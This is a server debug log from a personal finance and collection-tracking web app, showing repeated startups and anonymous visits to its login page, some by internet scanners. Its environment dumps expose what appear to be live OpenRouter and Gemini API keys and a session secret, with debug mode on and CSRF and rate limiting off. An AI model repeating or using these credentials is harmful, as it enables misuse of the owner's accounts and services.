2026-07-09T13:17:19.066Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-09T13:17:19.068Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-09T13:17:19.076Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-09T13:17:19.080Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-09T13:17:19.082Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-09T13:17:19.085Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-09T13:17:19.085Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-09T13:17:19.091Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-09T13:17:19.093Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-09T13:17:19.099Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-09T13:17:19.099Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-09T13:17:19.102Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-09T13:17:19.102Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-09T13:17:19.105Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-09T13:17:19.108Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-09T13:17:19.108Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-09T13:17:19.111Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-09T13:17:19.113Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-09T13:17:19.120Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-09T13:17:19.123Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-09T13:17:19.126Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-09T13:17:19.135Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-09T13:17:19.548Z server-connect:router Serving templateView /
2026-07-09T13:17:19.589Z server-connect:app Executing action step identify
2026-07-09T13:17:19.589Z server-connect:app options: { provider: 'security' }
2026-07-09T13:17:19.600Z server-connect:auth No login cookie found
2026-07-09T13:17:19.600Z server-connect:output identity: false
2026-07-09T13:17:19.600Z server-connect:app Executing action step restrict
2026-07-09T13:17:19.600Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-09T13:17:19.604Z server-connect:output restrict: undefined
2026-07-09T13:17:19.715Z server-connect:router Serving templateView /login
2026-07-09T13:17:19.715Z server-connect:app Executing action step identify
2026-07-09T13:17:19.716Z server-connect:app options: { provider: 'security' }
2026-07-09T13:17:19.716Z server-connect:auth No login cookie found
2026-07-09T13:17:19.716Z server-connect:output identity: false
2026-07-09T13:17:19.716Z server-connect:router Render template layouts/authentication
2026-07-09T13:17:19.717Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.245.124.125',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-10T13:17:19.712Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.245.124.125',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.245.124.125',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-09T19:37:57.144Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-09T19:37:59.352Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-09T19:38:00.215Z server-connect:setup:upload Upload middleware configured.
2026-07-09T19:38:00.216Z server-connect:secure CSRF Protection initialized
2026-07-09T19:38:00.219Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-09T19:38:00.221Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-09T19:38:00.223Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-09T19:38:00.225Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-09T19:38:00.233Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-09T19:38:00.234Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-09T19:38:00.248Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-09T19:38:00.263Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-09T19:38:00.266Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-09T19:38:00.268Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-09T19:38:00.271Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-09T19:38:00.275Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-09T19:38:00.281Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-09T19:38:00.292Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-09T19:38:00.296Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-09T19:38:00.368Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-09T19:38:00.369Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-09T19:38:00.373Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-09T19:38:00.380Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-09T19:38:00.383Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-09T19:38:00.386Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-09T19:38:00.394Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-09T19:38:00.394Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-09T19:38:00.401Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-09T19:38:00.404Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-09T19:38:00.408Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-09T19:38:00.408Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-09T19:38:00.410Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-09T19:38:00.418Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-09T19:38:00.418Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-09T19:38:00.420Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-09T19:38:00.422Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-09T19:38:00.425Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-09T19:38:00.428Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-09T19:38:00.435Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-09T19:38:00.439Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-09T19:38:00.439Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-09T19:38:00.449Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-09T19:38:00.937Z server-connect:router Serving templateView /
2026-07-09T19:38:00.939Z server-connect:app Executing action step identify
2026-07-09T19:38:00.939Z server-connect:app options: { provider: 'security' }
2026-07-09T19:38:00.941Z server-connect:auth No login cookie found
2026-07-09T19:38:00.941Z server-connect:output identity: false
2026-07-09T19:38:00.941Z server-connect:app Executing action step restrict
2026-07-09T19:38:00.941Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-09T19:38:00.945Z server-connect:output restrict: undefined
2026-07-09T19:38:01.120Z server-connect:router Serving templateView /login
2026-07-09T19:38:01.121Z server-connect:app Executing action step identify
2026-07-09T19:38:01.121Z server-connect:app options: { provider: 'security' }
2026-07-09T19:38:01.121Z server-connect:auth No login cookie found
2026-07-09T19:38:01.121Z server-connect:output identity: false
2026-07-09T19:38:01.121Z server-connect:router Render template layouts/authentication
2026-07-09T19:38:01.122Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '8.234.174.62',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-10T19:38:01.118Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '8.234.174.62',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '8.234.174.62',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-10T00:02:48.896Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-10T00:02:51.069Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-10T00:02:51.905Z server-connect:setup:upload Upload middleware configured.
2026-07-10T00:02:51.905Z server-connect:secure CSRF Protection initialized
2026-07-10T00:02:51.910Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-10T00:02:51.910Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-10T00:02:51.913Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-10T00:02:51.915Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-10T00:02:51.922Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-10T00:02:51.927Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-10T00:02:51.939Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-10T00:02:51.953Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-10T00:02:51.956Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-10T00:02:51.960Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-10T00:02:51.960Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-10T00:02:51.964Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-10T00:02:51.972Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-10T00:02:51.980Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-10T00:02:51.986Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-10T00:02:52.055Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-10T00:02:52.056Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-10T00:02:52.060Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-10T00:02:52.066Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-10T00:02:52.070Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-10T00:02:52.072Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-10T00:02:52.081Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-10T00:02:52.081Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-10T00:02:52.089Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-10T00:02:52.089Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-10T00:02:52.095Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-10T00:02:52.095Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-10T00:02:52.099Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-10T00:02:52.104Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-10T00:02:52.107Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-10T00:02:52.108Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-10T00:02:52.109Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-10T00:02:52.113Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-10T00:02:52.115Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-10T00:02:52.121Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-10T00:02:52.125Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-10T00:02:52.127Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-10T00:02:52.137Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-10T00:02:52.614Z server-connect:router Serving templateView /
2026-07-10T00:02:52.617Z server-connect:app Executing action step identify
2026-07-10T00:02:52.617Z server-connect:app options: { provider: 'security' }
2026-07-10T00:02:52.619Z server-connect:auth No login cookie found
2026-07-10T00:02:52.619Z server-connect:output identity: false
2026-07-10T00:02:52.619Z server-connect:app Executing action step restrict
2026-07-10T00:02:52.619Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-10T00:02:52.623Z server-connect:output restrict: undefined
2026-07-10T00:02:53.380Z server-connect:router Serving templateView /login
2026-07-10T00:02:53.380Z server-connect:app Executing action step identify
2026-07-10T00:02:53.380Z server-connect:app options: { provider: 'security' }
2026-07-10T00:02:53.381Z server-connect:auth No login cookie found
2026-07-10T00:02:53.381Z server-connect:output identity: false
2026-07-10T00:02:53.381Z server-connect:router Render template layouts/authentication
2026-07-10T00:02:53.381Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.146.63',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-11T00:02:53.378Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.146.63',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.146.63',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-10T08:00:08.213Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-10T08:00:10.484Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-10T08:00:11.350Z server-connect:setup:upload Upload middleware configured.
2026-07-10T08:00:11.350Z server-connect:secure CSRF Protection initialized
2026-07-10T08:00:11.356Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-10T08:00:11.356Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-10T08:00:11.359Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-10T08:00:11.360Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-10T08:00:11.367Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-10T08:00:11.370Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-10T08:00:11.386Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-10T08:00:11.399Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-10T08:00:11.404Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-10T08:00:11.405Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-10T08:00:11.405Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-10T08:00:11.411Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-10T08:00:11.415Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-10T08:00:11.425Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-10T08:00:11.429Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-10T08:00:11.501Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-10T08:00:11.504Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-10T08:00:11.508Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-10T08:00:11.514Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-10T08:00:11.517Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-10T08:00:11.520Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-10T08:00:11.526Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-10T08:00:11.529Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-10T08:00:11.535Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-10T08:00:11.535Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-10T08:00:11.540Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-10T08:00:11.542Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-10T08:00:11.545Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-10T08:00:11.550Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-10T08:00:11.552Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-10T08:00:11.554Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-10T08:00:11.556Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-10T08:00:11.559Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-10T08:00:11.563Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-10T08:00:11.568Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-10T08:00:11.572Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-10T08:00:11.575Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-10T08:00:11.585Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-10T08:00:12.074Z server-connect:router Serving templateView /
2026-07-10T08:00:12.076Z server-connect:app Executing action step identify
2026-07-10T08:00:12.076Z server-connect:app options: { provider: 'security' }
2026-07-10T08:00:12.078Z server-connect:auth No login cookie found
2026-07-10T08:00:12.078Z server-connect:output identity: false
2026-07-10T08:00:12.078Z server-connect:app Executing action step restrict
2026-07-10T08:00:12.078Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-10T08:00:12.082Z server-connect:output restrict: undefined
2026-07-11T11:10:12.699Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-11T11:10:17.268Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
